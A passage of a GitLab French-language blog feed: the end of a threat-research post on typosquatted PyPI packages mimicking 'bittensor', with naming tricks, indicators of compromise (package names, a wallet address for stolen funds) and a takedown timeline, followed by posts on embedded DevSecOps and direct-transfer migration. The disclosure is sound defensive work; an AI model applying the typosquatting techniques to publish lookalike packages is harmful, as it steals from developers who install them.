<p>Les cybercriminels ont utilisé une stratégie de typosquatting qui exploite les erreurs de frappe courantes et les conventions de nommage des paquets :</p>
<ul>
<li>
<p><strong>Caractères manquants :</strong> <code>bitensor</code> au lieu de <code>bittensor</code> ('t' manquant)</p>
</li>
<li>
<p><strong>Troncation :</strong> <code>bittenso</code> au lieu de <code>bittensor</code> ('r' final manquant)</p>
</li>
<li>
<p><strong>Imitation de version :</strong> tous les paquets utilisaient des numéros de version (<code>9.9.4</code>, <code>9.9.5</code>) qui correspondaient étroitement aux versions des véritables paquets.</p>
</li>
</ul>
<p>Cette approche maximise les chances d'installation en raison des erreurs de frappe des équipes de développement lors des commandes <code>pip install</code> et des erreurs de copier-coller depuis la documentation.</p>
<h2>Perspectives : l'avenir de la sécurité de la chaîne d'approvisionnement</h2>
<p>GitLab continue d'investir dans la recherche proactive en matière de sécurité pour identifier et neutraliser les menaces avant qu'elles n'impactent notre communauté. Notre système de détection automatisé travaille 24 heures sur 24 pour protéger la chaîne d'approvisionnement logicielle qui alimente le développement moderne.</p>
<p>La détection et l'analyse rapides de cette attaque démontrent la valeur des mesures de sécurité proactives dans la lutte contre les menaces sophistiquées. En partageant nos découvertes, nous visons à renforcer la résilience de l'écosystème entier en cas de futures attaques.</p>
<h2>Indicateurs de compromission</h2>
<table>
<thead>
<tr>
<th style="text-align:left">IOC</th>
<th style="text-align:left">Description</th>
</tr>
</thead>
<tbody>
<tr>
<td style="text-align:left"><code>pkg:pypi/bittenso@9.9.5</code></td>
<td style="text-align:left">Paquet PyPI malveillant</td>
</tr>
<tr>
<td style="text-align:left"><code>pkg:pypi/bitensor@9.9.5</code></td>
<td style="text-align:left">Paquet PyPI malveillant</td>
</tr>
<tr>
<td style="text-align:left"><code>pkg:pypi/bitensor@9.9.4</code></td>
<td style="text-align:left">Paquet PyPI malveillant</td>
</tr>
<tr>
<td style="text-align:left"><code>pkg:pypi/qbittensor@9.9.4</code></td>
<td style="text-align:left">Paquet PyPI malveillant</td>
</tr>
<tr>
<td style="text-align:left"><code>pkg:pypi/bittenso-cli@9.9.4</code></td>
<td style="text-align:left">Paquet PyPI malveillant</td>
</tr>
<tr>
<td style="text-align:left"><code>5FjgkuPzAQHax3hXsSkNtue8E7moEYjTgrDDGxBvCzxc1nqR</code></td>
<td style="text-align:left">Adresse de portefeuille Bittensor (TAO) pour recevoir les fonds volés</td>
</tr>
</tbody>
</table>
<h2>Chronologie</h2>
<table>
<thead>
<tr>
<th style="text-align:left">Date et heure</th>
<th style="text-align:left">Action</th>
</tr>
</thead>
<tbody>
<tr>
<td style="text-align:left"><strong>2025-08-06T06:33</strong></td>
<td style="text-align:left">Analyse initiale des paquets suspects signalés par le système de surveillance automatisé</td>
</tr>
<tr>
<td style="text-align:left"><strong>2025-08-06T09:42</strong></td>
<td style="text-align:left">Signalement de <code>bittenso@9.9.5</code> à PyPi.org</td>
</tr>
<tr>
<td style="text-align:left"><strong>2025-08-06T09:46</strong></td>
<td style="text-align:left">Signalement de <code>bitensor@9.9.5</code> à PyPi.org</td>
</tr>
<tr>
<td style="text-align:left"><strong>2025-08-06T09:47</strong></td>
<td style="text-align:left">Signalement de <code>bitensor@9.9.4</code> à PyPi.org</td>
</tr>
<tr>
<td style="text-align:left"><strong>2025-08-06T09:49</strong></td>
<td style="text-align:left">Signalement de <code>qbittensor@9.9.4</code> à PyPi.org</td>
</tr>
<tr>
<td style="text-align:left"><strong>2025-08-06T09:51</strong></td>
<td style="text-align:left">Signalement de <code>bittenso-cli@9.9.4</code> à PyPi.org</td>
</tr>
<tr>
<td style="text-align:left"><strong>2025-08-06T15:26</strong></td>
<td style="text-align:left">PyPi.org a supprimé <code>bittenso@9.9.5</code></td>
</tr>
<tr>
<td style="text-align:left"><strong>2025-08-06T15:27</strong></td>
<td style="text-align:left">PyPi.org a supprimé <code>bitensor@9.9.5</code></td>
</tr>
<tr>
<td style="text-align:left"><strong>2025-08-06T15:27</strong></td>
<td style="text-align:left">PyPi.org a supprimé <code>bitensor@9.9.4</code></td>
</tr>
<tr>
<td style="text-align:left"><strong>2025-08-06T15:28</strong></td>
<td style="text-align:left">PyPi.org a supprimé <code>qbittensor@9.9.4</code></td>
</tr>
<tr>
<td style="text-align:left"><strong>2025-08-06T15:28</strong></td>
<td style="text-align:left">PyPi.org a supprimé <code>bittenso-cli@9.9.4</code></td>
</tr>
</tbody>
</table>
]]></content>
        <author>
            <name>Michael Henriksen</name>
            <uri>https://about.gitlab.com/blog/authors/michael-henriksen</uri>
        </author>
        <published>2025-08-11T00:00:00.000Z</published>
    </entry>
    <entry>
        <title type="html"><![CDATA[DevSecOps et systèmes embarqués : pourquoi adopter cette approche ?]]></title>
        <id>https://about.gitlab.com/fr-fr/blog/why-now-is-the-time-for-embedded-devsecops/</id>
        <link href="https://about.gitlab.com/fr-fr/blog/why-now-is-the-time-for-embedded-devsecops/"/>
        <updated>2025-08-06T00:00:00.000Z</updated>
        <content type="html"><![CDATA[<p>Longtemps perçue comme réservée aux applications SaaS, l'approche <a href="https://about.gitlab.com/fr-fr/topics/devsecops/" title="Qu'est-ce que le DevSecOps ?">DevSecOps</a> s'impose désormais dans le développement de systèmes embarqués. Cette approche est portée par l'évolution du rôle des logiciels, qui sont devenus un facteur de différenciation majeur. Face aux nouvelles attentes du marché, les pratiques de développement modernes sont désormais incontournables. En réponse, les entreprises adoptent l'approche DevSecOps dans le développement de systèmes embarqués.</p>
<p>Cette approche consiste à appliquer des pratiques d'ingénierie collaborative, des chaînes d'outils intégrées et une automatisation des processus de compilation, de test et de sécurisation des logiciels au développement de systèmes embarqués. Elle introduit également les ajustements nécessaires pour tenir compte des spécificités matérielles.</p>
<h2>Convergence des forces du marché</h2>
<p>Les équipes en charge des systèmes embarqués doivent désormais faire face à une convergence de trois grandes forces du marché qui rendent la modernisation de leurs pratiques inévitable.</p>
<h3>1. L'essor des produits définis par logiciel</h3>
<p>Les produits autrefois définis principalement par leur composant matériel se différencient désormais par leurs capacités logicielles. Cette évolution est particulièrement visible sur le marché des véhicules définis par logiciel (SDV), dont la valeur devrait passer de 213,5 milliards de dollars en 2024 à <a href="https://www.marketsandmarkets.com/Market-Reports/software-defined-vehicles-market-187205966.html">1,24 billions de dollars</a> d'ici 2030, soit un taux de croissance annuel moyen de 34 %.
La part du contenu logiciel embarqué de ces véhicules explose. D'ici fin 2025, chaque véhicule contiendra en moyenne <a href="https://www.statista.com/statistics/1370978/automotive-software-average-lines-of-codes-per-vehicle-globally/">650 millions de lignes de code</a>. Les approches traditionnelles du développement de systèmes embarqués ne parviennent pas à gérer ce niveau de complexité logicielle.</p>
<h3>2. La virtualisation matérielle comme catalyseur technique</h3>
<p>La virtualisation matérielle joue un rôle technique central dans l'approche DevSecOps pour le développement de systèmes embarqués. Les unités de commande électronique virtuelles (vECU), les processeurs ARM hébergés sur le cloud et les environnements de simulation sophistiqués sont de plus en plus répandus. Le matériel virtuel permet d'effectuer des tests qui nécessitaient autrefois du matériel physique.</p>
<p>Ces technologies de virtualisation posent les bases de l'<a href="https://about.gitlab.com/fr-fr/topics/ci-cd/" title="Qu'est-ce que l'intégration continue ?">intégration continue (CI)</a>. Toutefois, ce n'est que lorsqu'elles sont intégrées dans des workflows automatisés que leur utilisation fait sens. Combinés à des pratiques de développement collaboratif et à des <a href="https://about.gitlab.com/fr-fr/topics/ci-cd/cicd-pipeline/" title="Qu'est-ce qu'un pipeline CI/CD ?">pipelines CI/CD</a> automatisés, les tests virtuels aident les équipes à détecter les problèmes beaucoup plus tôt, lorsque l'application de correctifs est bien moins onéreuse. Sans approche DevSecOps pour le développement de systèmes embarqués et sans outils pour orchestrer ces ressources virtuelles, les entreprises ne peuvent pas tirer profit de la virtualisation.</p>
<h3>3. La pression concurrentielle et économique</h3>
<p>Trois dynamiques corrélées modifient le paysage concurrentiel du développement de systèmes embarqués :</p>
<ul>
<li>Les nouvelles générations d'ingénieurs ont des attentes bien précises. Comme l'explique un responsable du développement de systèmes embarqués chez un client de GitLab : « Les jeunes diplômés développant des systèmes embarqués ne connaissent pas les outils hérités comme Perforce. Ils ont été formés sur <a href="https://about.gitlab.com/fr-fr/blog/what-is-git/" title="Qu'est-ce que Git ?">Git</a>. S'ils doivent utiliser des outils dépassés, ils démissionnent au bout de six mois. » Les entreprises qui persistent à utiliser des outils obsolètes risquent de perdre leur capacité à attirer les meilleurs ingénieurs.</li>
<li>À l'inverse, les entreprises à la pointe de la technologie qui attirent les ingénieurs les plus talentueux avec des pratiques modernes ont un avantage majeur sur leurs concurrents et obtiennent des résultats remarquables. Par exemple, en 2024, <a href="https://spacenews.com/spacex-launch-surge-helps-set-new-global-launch-record-in-2024/">SpaceX</a> a réalisé le plus grand nombre de lancements orbitaux dans le monde. Les entreprises qui utilisent les dernières technologies excellent dans le développement logiciel et adoptent une culture de développement moderne. Elles obtiennent notamment des résultats que les entreprises qui continuent de faire appel à des outils traditionnels ont du mal à égaler.</li>
<li>Les longs cycles de rétroaction alourdissent considérablement les coûts du développement embarqué et rendent l'adoption d'une approche DevSecOps plus urgente que jamais. Lorsque les équipes de développement doivent patienter plusieurs semaines pour tester leur code sur des bancs d'essai matériels, la productivité chute intrinsèquement : les ingénieurs perdent le fil et doivent changer de contexte lorsque les résultats des tests leur parviennent. Ce phénomène s'aggrave encore lorsque des bogues sont découverts tardivement, et les correctifs deviennent plus coûteux à implémenter. Dans les systèmes embarqués, ces délais sont structurels.</li>
</ul>
<p>Seule une approche DevSecOps permet de répondre efficacement à ces problématiques.</p>
<h2>Axes de transformation prioritaires</h2>
<p>Portées par ces dynamiques de marché, les entreprises avant-gardistes dans le domaine des systèmes embarqués adoptent une approche DevSecOps pour transformer en profondeur leurs pratiques.</p>
<h3>Mise en place de tests continus</h3>
<p>Les goulots d'étranglement matériels représentent l'une des contraintes les plus importantes du développement traditionnel de systèmes embarqués. Ces retards créent des conditions économiques défavorables dues à l'accès tardif au matériel et à l'augmentation des coûts qui en résultent.
Pour résoudre ce problème, il est nécessaire d'adopter une approche multidimensionnelle :</p>
<ul>
<li>Automatiser l'orchestration des bancs de test matériel partagés, souvent coûteux, entre les développeurs</li>
<li>Intégrer les tests SIL (Software-in-the-Loop) et HIL (Hardware-in-the-Loop) dans des pipelines CI automatisés</li>
<li>Standardiser les environnements de compilation avec un <a href="https://about.gitlab.com/fr-fr/topics/version-control/" title="Qu'est-ce que le contrôle de version ?">contrôle de version</a> rigoureux</li>
</ul>
<p>Avec le composant <a href="https://about.gitlab.com/fr-fr/topics/ci-cd/" title="Qu'est-ce que l'approche CI/CD ?">CI/CD</a> <a href="https://gitlab.com/gitlab-accelerates-embedded/comp/device-cloud">On-Premises Device Cloud</a> de GitLab, les équipes de développement de systèmes embarqués peuvent automatiser l'orchestration des tests de micrologiciels sur du matériel virtuel et réel. Elles réduisent ainsi plus facilement les cycles de rétroaction de plusieurs semaines à quelques heures et détectent les bogues dès le début du cycle du développement logiciel.</p>
<h3>Automatisation de la conformité et de la sécurité</h3>
<p>Les systèmes embarqués évoluent dans un environnement fortement réglementé, où les processus de conformité manuels ne sont plus viables.
Les entreprises à la pointe automatisent la gouvernance de leurs processus de sécurité et de conformité en adoptant plusieurs pratiques clés :</p>
<ul>
<li>Elles remplacent les workflows manuels par des <a href="https://about.gitlab.com/fr-fr/blog/introducing-custom-compliance-frameworks-in-gitlab/" title="Qu'est-ce qu'un framework de conformité ?">frameworks de conformité</a> automatisés.</li>
<li>Elles intègrent des outils spécialisés de sécurité fonctionnelle, de cybersécurité et de qualité du code dans des pipelines CI automatisés.</li>
<li>Elles automatisent les workflows d'approbation, en appliquant systématiquement des revues de code et en maintenant des pistes d'audit complètes.</li>
<li>Elles configurent des frameworks de conformité alignés sur des normes sectorielles, telles que ISO 26262 ou DO-178C.</li>
</ul>
<p>Cette approche permet une plus grande maturité en matière de conformité sans effectifs supplémentaires. Ce qui constituait autrefois un fardeau devient un avantage concurrentiel. Un grand constructeur de véhicules électriques exécute ainsi 120 000 jobs CI/CD par jour avec GitLab, dont une part importante inclut des contrôles de conformité. Grâce à cette automatisation, l'entreprise peut corriger les bogues et déployer des corrections sur ses véhicules dans l'heure qui suit leur découverte. Un tel niveau d'évolutivité et de réactivité serait extrêmement difficile à atteindre sans l'automatisation des workflows de conformité.</p>
<h3>Innovation collaborative</h3>
<p>Historiquement, pour des raisons commerciales et techniques légitimes, les équipes chargées du développement de systèmes embarqués travaillaient souvent seules à leur bureau. Les possibilités de collaboration étaient ainsi limitées. Pour remédier à cette situation, les entreprises innovantes fournissent une visibilité partagée du code grâce à un contrôle de version intégré et à des workflows CI/CD. Ces pratiques modernes attirent et fidélisent les ingénieurs tout en favorisant l'innovation.
Comme le souligne le directeur <a href="https://about.gitlab.com/fr-fr/topics/devops/" title="Qu'est-ce que l'approche DevOps ?">DevOps</a> d'un grand constructeur automobile à la pointe de la technologie (client de GitLab) : « Il est vraiment essentiel pour nous de travailler sur une seule plateforme où il est facile de vérifier le statut de nos workflows. Lorsque les développeurs soumettent une merge request, ils ont immédiatement une visibilité sur le statut du workflow concerné afin de pouvoir agir le plus rapidement possible. » Cette transparence accélère l'innovation. Elle permet aux constructeurs automobiles d'itérer rapidement sur les fonctionnalités logicielles qui différencient leurs véhicules sur un marché de plus en plus concurrentiel.</p>
<h2>Une fenêtre d'opportunité</h2>
<p>Les leaders du développement de systèmes embarqués disposent aujourd'hui d'une fenêtre d'opportunité unique pour prendre une longueur d'avance en adoptant l'approche DevSecOps. Mais ils doivent agir rapidement, car à mesure que les logiciels deviennent le principal levier de différenciation des produits embarqués, l'écart entre les pionniers et les retardataires ne cessera de se creuser.
Les entreprises qui réussiront cette transition réduiront leurs coûts, accéléreront leurs délais de mise sur le marché et développeront des logiciels plus innovants qui leur permettront de se différencier. Les leaders du secteur de demain seront ceux qui, dès aujourd'hui, font le choix de l'approche DevSecOps.</p>
<blockquote>
<p>Bien que cet article mette en lumière les raisons pour lesquelles il est désormais essentiel pour les équipes de développement de systèmes embarqués d'adopter l'approche DevSecOps, vous vous demandez peut-être par où commencer. Pour passer à l'action, découvrez comment mettre ces concepts en pratique dans notre guide : <a href="https://about.gitlab.com/blog/4-ways-to-accelerate-embedded-development-with-gitlab/">Accélérez le développement de systèmes embarqués avec GitLab</a>.</p>
</blockquote>
]]></content>
        <author>
            <name>Matt DeLaney</name>
            <uri>https://about.gitlab.com/blog/authors/matt-delaney</uri>
        </author>
        <published>2025-08-06T00:00:00.000Z</published>
    </entry>
    <entry>
        <title type="html"><![CDATA[La migration par transfert direct est désormais disponible]]></title>
        <id>https://about.gitlab.com/fr-fr/blog/migrating-by-direct-transfer-is-generally-available/</id>
        <link href="https://about.gitlab.com/fr-fr/blog/migrating-by-direct-transfer-is-generally-available/"/>
        <updated>2025-08-04T00:00:00.000Z</updated>
        <content type="html"><![CDATA[<p>La migration des groupes et projets GitLab par transfert direct est désormais disponible dans la version GitLab 18.3. Il s'agit d'une méthode simple et automatisée pour migrer des ressources GitLab entre instances GitLab vers un public encore plus large.</p>
<p>Le <a href="https://docs.gitlab.com/user/group/import/">transfert direct</a> vous permet de créer facilement une copie des ressources GitLab de votre choix sur la même instance ou sur une autre instance GitLab. Vous pouvez utiliser l'interface utilisateur (intuitive et simple d'utilisation), ou <a href="https://docs.gitlab.com/ee/api/bulk_imports.html">l'API</a> qui offre une flexibilité supplémentaire pour choisir les ressources à copier.</p>
<p>La migration par transfert direct représente une amélioration majeure par rapport à la <a href="https://docs.gitlab.com/ee/user/project/settings/import_export.html#migrate-projects-by-uploading-an-export-file">migration de groupes et de projets via l'exportation de fichiers</a> pour les raisons suivantes :</p>
<ul>
<li>Vous n'avez plus besoin d'exporter manuellement chaque groupe et projet individuel vers un fichier, puis d'importer tous ces fichiers vers un nouvel emplacement. Désormais, il vous suffit de migrer directement tout groupe de niveau supérieur dont vous avez le rôle de propriétaire avec tous ses sous-groupes et projets.</li>
<li>La migration par transfert direct permet le <a href="https://about.gitlab.com/blog/streamline-migrations-with-user-contribution-and-membership-mapping/">mappage des contributions utilisateur après l'importation</a> (comme la paternité des tickets ou des commentaires), pour plus de flexibilité et de contrôle.</li>
<li>Elle fonctionne de manière fiable avec des projets volumineux. Grâce au traitement par lots des ressources et à l'exécution simultanée des processus d'importation et d'exportation, les risques d'interruption ou de délai d'attente dépassé sont considérablement réduits.</li>
<li>Elle offre une meilleure visibilité sur la migration pendant son exécution ainsi qu'après sa finalisation. Dans l'interface utilisateur, vous pouvez observer l'augmentation du nombre de fichiers à mesure que de nouveaux éléments sont importés. Ensuite, vous pouvez <a href="https://docs.gitlab.com/user/group/import/direct_transfer_migrations/#review-results-of-the-import">vérifier les résultats de l'importation</a>. Les éléments importés sont indiqués par le badge <code>Imported</code> dans l'interface utilisateur GitLab.</li>
</ul>
<p>Nous avons parcouru un long chemin depuis GitLab 14.3, lorsque nous avons commencé à prendre en charge la migration directe des ressources de groupe. Dans GitLab 15.8, nous avons <a href="https://about.gitlab.com/blog/2023/01/18/try-out-new-way-to-migrate-projects/">étendu cette fonctionnalité aux projets en version bêta</a>. Depuis, nous avons travaillé à améliorer l'efficacité et la fiabilité de l'importation, en particulier pour les projets volumineux. Nous avons également minutieusement testé la sécurité et la stabilité des instances de cette nouvelle fonctionnalité.</p>
<p>Voici deux exemples d'importations réussies qui illustrent la taille des groupes et des projets que nous avons testés, ainsi que leur durée d'importation :</p>
<ul>
<li>100 projets (19 900 tickets, 83 000 merge requests, plus de 100 000 pipelines) migrés en 8 heures</li>
<li>1 926 projets (22 000 tickets, 160 000 merge requests, 1,1 million de pipelines) migrés en 34 heures</li>
</ul>
<p>Sur GitLab.com, la migration par transfert direct est activée par défaut, tandis que sur GitLab Self-Managed et sur GitLab Dedicated, un administrateur doit <a href="https://docs.gitlab.com/ee/administration/settings/import_and_export_settings.html#enable-migration-of-groups-and-projects-by-direct-transfer">activer la fonctionnalité dans les paramètres de l'application</a>.</p>
<h2>Quand utiliser la migration par transfert direct et comment obtenir les meilleurs résultats ?</h2>
<p>La migration par transfert direct nécessite une connexion réseau entre les instances ou GitLab.com. Par conséquent, les clients qui utilisent des réseaux air-gapped sans connectivité entre leurs instances GitLab doivent toujours utiliser l'exportation de fichiers pour copier leurs données GitLab. Ils pourront utiliser la migration de groupes et de projets par transfert direct lorsque cette solution <a href="https://gitlab.com/groups/gitlab-org/-/epics/8985">prendra en charge les instances hors ligne</a>.</p>
<p>Avant toute migration, consultez notre <a href="https://docs.gitlab.com/user/group/import/">documentation</a>, y compris les <a href="https://docs.gitlab.com/user/group/import/direct_transfer_migrations/#prerequisites">prérequis</a>, les <a href="https://docs.gitlab.com/ee/user/group/import/#migrated-group-items">éléments de groupe</a> et les <a href="https://docs.gitlab.com/ee/user/group/import/#migrated-project-items">éléments de projet</a> qui sont migrés. Certains éléments sont exclus de la migration ou ne sont pas encore pris en charge.</p>
<h3>Migrez entre les versions les plus récentes possibles</h3>
<p>Nous recommandons de migrer entre des versions aussi récentes que possible. Mettez à jour les instances source et destination pour profiter de toutes les améliorations et corrections de bogues que nous avons ajoutées au fil du temps.</p>
<h3>Préparez-vous au mappage des contributions utilisateur après la migration</h3>
<p>Familiarisez-vous avec le <a href="https://docs.gitlab.com/user/project/import/#user-contribution-and-membership-mapping">processus de mappage des contributions et des appartenances utilisateur</a> afin de connaître les prochaines étapes à suivre une fois la migration terminée.</p>
<h3>Examinez les options pour réduire la durée de migration</h3>
<p>Selon l'endroit où vous migrez (GitLab.com, une instance Self-Managed ou Dedicated) vous pouvez appliquer <a href="https://docs.gitlab.com/ee/user/group/import/#reducing-migration-duration">diverses stratégies pour réduire la durée de migration</a>.</p>
<h2>Comment puis-je examiner les résultats ?</h2>
<p>Vous pouvez consulter tous les groupes et projets que vous avez migrés par transfert direct sur la <a href="https://docs.gitlab.com/user/group/import/direct_transfer_migrations/#group-import-history">page d'historique d'importation de groupe</a>. Pour chaque groupe et projet, vous avez la possibilité d'afficher les statistiques des éléments importés et d'examiner plus en détails les éléments qui n'ont pas été importés. Vous pouvez également utiliser les <a href="https://docs.gitlab.com/ee/api/bulk_imports.html#list-all-group-or-project-migrations-entities">points de terminaison API</a> pour faire de même.</p>
<p>Dans les cas où la plupart de vos projets se sont terminés avec succès, mais que certaines relations manquent encore dans un ou deux projets, comme des merge requests ou des tickets, nous vous recommandons d'essayer de réimporter ces projets <a href="https://docs.gitlab.com/ee/api/bulk_imports.html#start-a-new-group-or-project-migration">avec l'API</a>.</p>
<p><img src="https://res.cloudinary.com/about-gitlab-com/image/upload/v1753961409/ja8agmwarwxxlo9vmqbo.gif" alt=""></p>
<h2>Quelle est la prochaine étape pour la migration par transfert direct ?</h2>
<p>Nous sommes ravis de proposer la migration par transfert direct et espérons que cette amélioration vous plaira ! Nous souhaitons connaître votre avis. Quelle est la fonctionnalité qui, selon vous, manque encore ? Que pouvons-nous améliorer ? Faites-le nous savoir dans <a href="https://gitlab.com/gitlab-org/gitlab/-/issues/284495">ce ticket</a> et nous continuerons à itérer !</p>
]]></content>
        <author>
            <name>Magdalena Frankiewicz</name>
            <uri>https://about.gitlab.com/blog/authors/magdalena-frankiewicz</uri>
        </author>
        <published>2025-08-04T00:00:00.000Z</published>
    </entry>
</feed>